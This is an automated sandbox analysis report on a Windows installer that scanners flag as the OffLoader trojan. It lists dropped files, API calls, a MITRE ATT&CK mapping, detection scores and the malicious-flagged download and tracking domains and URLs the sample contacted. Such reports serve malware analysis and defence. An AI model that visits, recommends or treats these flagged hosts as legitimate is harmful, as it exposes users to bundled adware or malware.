Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Automated click: Next >

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Static file information: File size 1672138 > 1048576

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb- source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Code function: 3_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,

3_2_00405E88

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Static PE information: section name: .didata
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp.0.dr	Static PE information: section name: .didata
Source: is-J242U.tmp.2.dr	Static PE information: section name: .didata
Source: winrar-x64-623.exe.3.dr	Static PE information: section name: .didat
Source: winrar-x64-623.exe.3.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\is-RR58F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File created: C:\Users\user\AppData\Local\Temp\nsu8144.tmp\inetc.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	File created: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	File created: C:\Windows\is-J242U.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	File created: C:\Windows\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\is-0S4HI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File created: C:\winrar-x64-623.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	File created: C:\Windows\is-J242U.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	File created: C:\Windows\unins000.exe (copy)			Jump to dropped file

Source: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Dropped PE file which has not been started: C:\Windows\is-J242U.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Dropped PE file which has not been started: C:\Windows\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Dropped PE file which has not been started: C:\winrar-x64-623.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Code function: 3_2_00405E61 FindFirstFileA,FindClose,	3_2_00405E61
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Code function: 3_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	3_2_0040548B
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Code function: 3_2_0040263E FindFirstFileA,	3_2_0040263E

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3397219463.0000000000935000.00000004.00000020.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2249347472.0000000000935000.00000004.00000020.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3397219463.0000000000951000.00000004.00000020.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2249347472.000000000094F000.00000004.00000020.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3397219463.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.00000000005B1000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.00000000005D9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	API call chain: ExitProcess graph end node			graph_3-3562
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	API call chain: ExitProcess graph end node			graph_3-3560

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Code function: 3_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,

3_2_00405E88

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

Queries volume information: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Code function: 3_2_00405B88 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

3_2_00405B88

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	2 Command and Scripting Interpreter	Path Interception	1 Process Injection	21 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	13 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	2 System Owner/User Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	14 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	13 System Information Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	39%	ReversingLabs	Win32.Trojan.OffLoader
1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	46%	Virustotal		Browse
1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\winrar-x64-623.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsu8144.tmp\inetc.dll	5%	ReversingLabs
C:\winrar-x64-623.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
restfork.website	10%	Virustotal	Browse
beadhouse.xyz	0%	Virustotal	Browse
antsmemory.xyz	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.remobjects.com/ps	0%	URL Reputation	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2577&dn=244&spot=3&t=1705854427	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1657&a=2577&dn=415&spot=4&t=17058	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=1&a=2577&on=420&o=1662	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2577&dn=420&spot=1&t=1	0%	Avira URL Cloud	safe
https://digitalpulsedata.com/tos	9%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427oq	0%	Avira URL Cloud	safe
https://digitalpulsedata.com/tos	100%	Avira URL Cloud	malware
http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=1658S	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2577&dn=244&spot=3&t=170585	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2577&dn=424&spot=5&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2577&dn=419&spot=2&t=1705854427	0%	Avira URL Cloud	safe
http://restfork.website/	100%	Avira URL Cloud	malware
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427pY	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1658&a=2577&dn=416&spot=6&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=16582577&dn=415&spot=4&t=17058544271	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=3&a=2577&on=244&o=331	0%	Avira URL Cloud	safe
http://restfork.website/boa.php	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6&t=1705854427	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_uki.php?tim=1705854427&rcc=US&c=2577&p=0.92http://beadhouse.xyz/a	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=3&a=2577&on=244&o=331	0%	Virustotal		Browse
https://www.pcmaintainer.com/eula	100%	Avira URL Cloud	malware
http://restfork.website/boa.php	7%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2577&dn=424&spot=5&t=1705854427	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2577&dn=244&spot=3&	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427)&S	0%	Avira URL Cloud	safe
http://restfork.website/	10%	Virustotal		Browse
http://beadhouse.xyz/ows	0%	Avira URL Cloud	safe
https://www.innosetup.com/	0%	Avira URL Cloud	safe
http://antsmemory.xyz/pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ%3D%3D&ti=1705854428	100%	Avira URL Cloud	phishing
https://beadhouse.xyz/	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2577&on=415&o=1657	0%	Avira URL Cloud	safe
https://www.pcmaintainer.com/eula	1%	Virustotal		Browse
http://beadhouse.xyz/ows	0%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2577&dn=420&spot=1&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2577&dn=424&spot=5&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2577&dn=420&spot=1&t=1705854427	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427InnoDownloadPlugin/1.5/USERAGENT/silentget1023	0%	Avira URL Cloud	safe
https://www.innosetup.com/	2%	Virustotal		Browse
http://beadhouse.xyz/api_pedl.php?spot=1&a=2577&on=420&o=1662	0%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2577&dn=420&spot=1&t=17058	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=1658	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=1658B	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1658&a=2577&dn=416&spot=6&t=17	0%	Avira URL Cloud	safe
http://antsmemory.xyz/	100%	Avira URL Cloud	phishing
http://beadhouse.xyz/	0%	Avira URL Cloud	safe
https://beadhouse.xyz/	0%	Virustotal		Browse
http://antsmemory.xyz/	0%	Virustotal		Browse
https://advancedmanager.io/eula	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2577&dn=415&spot=4&t=1705854427	0%	Avira URL Cloud	safe
https://advancedmanager.io/eula	0%	Virustotal		Browse
https://destructionheat.site/tracker/thank_you.php?trk=2577	100%	Avira URL Cloud	malware
http://beadhouse.xyz/api_pedl.php?spot=2&a=2577&on=419&o=1661	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1658&a=2577&dn=416&spot=6&t=17058	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2577&dn=424&spot=5&t=17058	0%	Avira URL Cloud	safe
https://beadhouse.xyz/Xn	0%	Avira URL Cloud	safe
http://antsmemory.xyz/pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMD	100%	Avira URL Cloud	phishing
http://beadhouse.xyz/api_pedl.php?spot=5&a=2577&on=424&o=1664577&dn=244&spot=3&t=1705854427?nb	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1657&a=2577&dn=415&spot=4&t=1	0%	Avira URL Cloud	safe
https://advancedmanager.io/privacy-policy	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2577&dn=419&spot=2&t=17	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_polos.php?tim=1705854427&rcc=US&c=2577&p=0.9Inno	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2577&dn=419&spot=2&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2577&dn=244&spot=3&t=170	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2577&dn=420&spot=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2577&dn=244&spot=3&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2577&on=415&o=1657%	0%	Avira URL Cloud	safe
http://restfork.website/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ==&sub=2577&ps=6576a2b77bafa	100%	Avira URL Cloud	malware
http://restfork.website/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2577&dn=424&spot=5	0%	Avira URL Cloud	safe
http://windactivity.online/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbH	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2577&dn=415&spot=4	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2577&dn=419&spot=2&t=17058	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=3&a=2577&on=244&o=331Zu	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427K&q	0%	Avira URL Cloud	safe
http://www.thedownloadplanet.com/termsofuse	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2577&on=415&o=16572577&dn=420&spot=1&t=1705854427	0%	Avira URL Cloud	safe
http://www.pcmaintainer.com/privacy	100%	Avira URL Cloud	malware
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2577&dn=419&spot=2	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_polos.php?tim=1705854427&rcc=US&c=2577&p=0.9	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=5&a=2577&on=424&o=1664	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1657&a=2577&dn=415&spot=4&t=17	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_uki.php?tim=1705854427&rcc=US&c=2577&p=0.92	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
restfork.website	104.21.61.51	true	true	10%, Virustotal, Browse	unknown
beadhouse.xyz	104.21.38.59	true	true	0%, Virustotal, Browse	unknown
antsmemory.xyz	172.67.210.35	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://beadhouse.xyz/api_pedl.php?spot=1&a=2577&on=420&o=1662	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2577&dn=244&spot=3&t=1705854427	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2577&dn=419&spot=2&t=1705854427	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=3&a=2577&on=244&o=331	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://restfork.website/boa.php	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6&t=1705854427	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2577&dn=424&spot=5&t=1705854427	true	Avira URL Cloud: safe	unknown
